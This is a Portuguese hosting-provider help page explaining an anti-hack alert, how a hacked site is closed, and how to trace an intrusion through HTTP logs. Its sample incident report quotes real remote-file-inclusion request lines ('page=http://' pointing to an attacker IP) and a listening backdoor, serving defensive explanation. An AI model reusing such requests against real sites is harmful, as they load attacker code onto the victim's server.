Busca


imprimir pdf

Recebeu uma mensagem de alerta do nosso sistema anti-hack


Entender os princípios deste sistema

  • Ao que correspondem as linhas de sistema?

No e-mail que recebeu, deverão constar algumas linhas de sistema deste género :

Proto Recv-Q Send-Q Endereço local Endereço distante Estado Utilizador Inode PID/Program name
tcp ------ 0 --------- 0 ---- 0.0.0.0:2000 -------- 0.0.0.0:* — LISTEN 1025 1241772069 12109/b

São-lhe comunicadas como prova do hack realizado no seu site. Endereço local "0.0.0.0:2000" significa que o pirata abriu o porto 2000 sobre o servidor. Endereço distante "0.0.0.0:*" significa que este porto aceita as ligações vindas de todas as máquinas desde qualquer porto. Estado " LISTEN" significa que este porto está actualmente a ser escutado, em espera de ligação. O número de utilizador corresponde o seu UID no servidor da OVH, é para podermos saber que este programa foi lançado a partir do seu site. O nome do programa tem pouco interesse nesta situação, os piratas que utilizam frequentemente nomes de programas aleatórios, são falsos com o objectivo de enganar a vigilância dos administradores.

  • Porquê que é que o meu site é fechado ?

É necessário que saiba que se o seu site foi fechado, não de modo algum com o objectivo de puni-lo, porque é igualmente uma vítima, mas apenas para o proteger. Pode pensar que ser-nos-ia suficiente cortar o programa (kill) e o problema estava resolvido… A experiência mostra contudo que uma vez encontrada uma falha num site, os hackers atacam depois mais frequentemente, e geralmente são cada vez mais agressivos. Ainda que o nosso sistema supervisione regularmente o estado do servidor, podem ser necessários apenas alguns segundos para um pirata causar prejuízos importantes no seu site ou nos servidores. Por consequência, é preferível encontrar a falha e corrigi-la antes de qualquer reabertura. O nosso sistema corta todos os programas apresentados ao hacker e não fecha só o seu site, prevenindo que o pirata esteja sempre ligado ao servidor ou use uma backdoor (como é o caso acima), que lhe permite voltar a ligar-se muito facilmente. Impedimos assim que o pirata prossiga as suas operações.

  • Porque é que a OVH não impede este género de ataque no meu site ?

Neste tipo de ataque, o pirata não recuperou a sua password e não se introduziu nos nossos servidores. Aproveitou simplesmente uma falha a nível do seu site para executar o código, passando por este. Nenhuma medida de segurança ao nosso nível permite bloquear directamente este tipo de ataque. Poderíamos evidentemente limitar as possibilidades oferecidas aos certificados alojados nos nossos servidores a fim de tornar este tipo de coisas impossíveis, mas este tipo de medidas teria um efeito secundário: isso impedir-lhe-ia de utilizar certas possibilidades muito interessantes oferecidas pelas novas linguagens como PHP, perl e python, e complicaria de maneira geral a criação dos seus sites. Por consequência, escolhemos oferecer-lhe mais liberdade possível, e controlar os problemas eventuais a fim de garantir a segurança do seu site e cortar as tentativas de pirataria.

  • Como encontrar e corrigir a falha ?

- Se utiliza um sistema popular tipo phpBB, phpnuke, etc.
Sobre este tipo de sistemas muito populares, os projectistas fazem regularmente actualizações que preenchem falhas de segurança localizadas pelos utilizadores. Ponha por conseguinte o seu sistema em dia com a última versão, e zele pela realizações de futuras actualizações subscrevendo à mailing-list do site oficial por exemplo. Se já está na última versão, não hesite em ir aos fóruns oficiais para comunicar esta intrusão e dizer assim aos projectistas que lhe proporão rapidamente uma correcção que aplicará depois também rapidamente de modo a estar mais seguro.

- Se utiliza scripts recuperados sobre a net ou nos seus próprios certificados do site que concebeu
O mais simples: pode recorrer ao nosso serviço de infogerência contactando o suporte OVH que lhe proporá um orçamento para a investigação da falha. O nosso serviço infogerência poderá à ocasião desta intervenção:

- localizar o script contendo a falha,

- recuperar todas as informações possíveis sobre a origem do ataque,

- encontrar a falha no script deficiente,

- fazer-lhe um resumo do andamento seguido e o método utilizado para encontrar a falha,

- propor-lhe algumas medidas de protecção e de correcção para pô-lo a "salvo" de futuros ataques.

Se deseja procurar por si mesmo:não é possível fazer um procedimento detalhado que permite localizar infalivelmente a origem de qualquer intrusão, mas eis como proceder de maneira geral, apoiando-se sobre o facto do ataque ter por origem uma falha de certificado e por conseguinte que o pirata tenha passado por um pedido HTTP. Todos os pedidos HTTP estão disponíveis nos seus registos (http://logs.ovh.net/seu_dominio): substitua "seu_dominio" pelo seu nome de domínio e pela sua extensão. ex: ovh.pt.

1) Anote a data e a hora do e-mail de alerta que recebeu.

2) Consulte os seus registos partindo deste horário e alargando progressivamente o campo de investigação sobre horários anteriores até localizar uma entrada incorrecta (estranha, diferente das outras, etc.). Isso pode pedir um pouco de prática ou conhecimento do formato dos pedidos de acordo com os casos.

3) Anote o script "atacado" pelos pedidos anómalos.

4) Estude o script para localizar lá à falha.

5) Corrija.

Exemplo

Apresentamos-lhe aqui o balanço de uma intervenção de infogerência efectuada para um dos nossos clientes partilhado. Pode assim ter uma ideia do que lhe propomos nas nossas intervenções ou do andamento a seguir no momento das suas investigações. Trata-se aqui de uma falha de include muito clássica e bastante simples de a localizar :

Bom dia,

Eis o resultado das nossas investigações :

1/ Escavámos os logs de ligação :
se virmos nos logs as datas e horas que lhe indiquei, encontra-se uma entrada suspeita do mesmo tipo nos dois casos:

65.39.172.139 www.*********.net - <23/Oct/2004:10:57:19 +0200> "GET /XII_IWB/index.php?page=http://65.39.172.139:113/2 HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"

65.39.172.139 www.*********.net - <27/Oct/2004:20:52:33 +0200> "GET /XII_IWB/index.php?page=http://65.39.172.139:113/3 HTTP/1.1" 200 1793 "-" "curl/7.9.8 (i686-pc-linux-gnu) libcurl 7.9.8 (OpenSSL 0.9.6b) (ipv6 enabled)"

Estas entradas são suspeitas, porque observa-se que o parâmetro da página entrando na URL é um endereço distante e ataca um porto não standard (o porto HTTP é o 80 e aqui c' é o 113 que é atacado):
index.php?page=http://65.39.172.139:113/4

O script vulnerável é : "index.php" no directório "XII_IWB"

2/ Sobe-se a pista do atacante, isto pode servir para o depósito de uma queixa ou para contactar o alojador do atacante para que este ponha termo ao alojamento do hacker :

65.39.172.139 é sem dúvida o endereço IP do atacante. Este endereço não tem reserva (nome de máquina) associada, mas o SOA dá :
172.39.65.in-addr.arpa. 10800 IN SOA ns1.peer1.net

O contacto administrativo corresponde a peer1.net é :

Administrative Contact:
Administrator, Domain domains@peer1.net
1600-555 West Hastings Street
Vancouver, BC V6B 4N5
CA
(604) 683-7747



Pode ser bom contactar esta sociedade em relação a este problema comunicando-lhe as datas e as horas dos ataques bem como o IP interessado.

3/ Vê-se mais precisamente a conta e o certificado incriminado para encontrar a falha e eventualmente de outras coisas suspeitas:
Num primeiro tempo, observa-se três directórios estranhos à raiz do directório XII_IWB :
drwxr-xr-x 13 ******** users 4096 jun 17 13:54
drwxr-xr-x 13 ******** users 4096 jun 17 13:54
drwxr-xr-x 13 ******** users 4096 jun 17 13:55



Estes três directórios têm nomes compostos de caracteres de espaçamento. Pode tratar-se de directórios deixados pelo hacker. Deseja que eliminá-los? Examina-se seguidamente o ficheiro index.php: este contém certamente um parâmetro $page que está incluído seguidamente no certificado por uma instrução include (). O controlo feito sobre este parâmetro é muito insuficiente sabendo que será utilizado por um comando include e pode por conseguinte permitir a execução de códigos maliciosos.

4/ Sugestão para preencher a falha e melhorar a segurança: uma primeira solução pode ser a de bloquear o IP de ataque tendo em conta que ele continua na mesma, mas trata-se de uma solução temporária, dado que outro atacante poderia aproveitar da mesma falha. Saber como bloquear uma IP no seu site: HtaccessProtectIP.

É depois imperativo preencher a falha de include. Para isso, basta controlar o formato do parâmetro "page" entrado no URL. Este parâmetro deve ter um formato específico (composto exclusivamente de cartas por exemplo), utilize uma expressão regular para controlar o formato que corresponde. Se os formatos são diversos, assegure-se pelo menos que não contém caracteres especiais como/ou que não contenha a sequência http://, isso limitará consideravelmente as possibilidades. Não hesite em verificar o conjunto dos seus certificados, este tipo de falha de include não está presente, e geralmente, controla de maneira estrita qualquer parâmetro de entrada pelo visitante ou passando por um URL.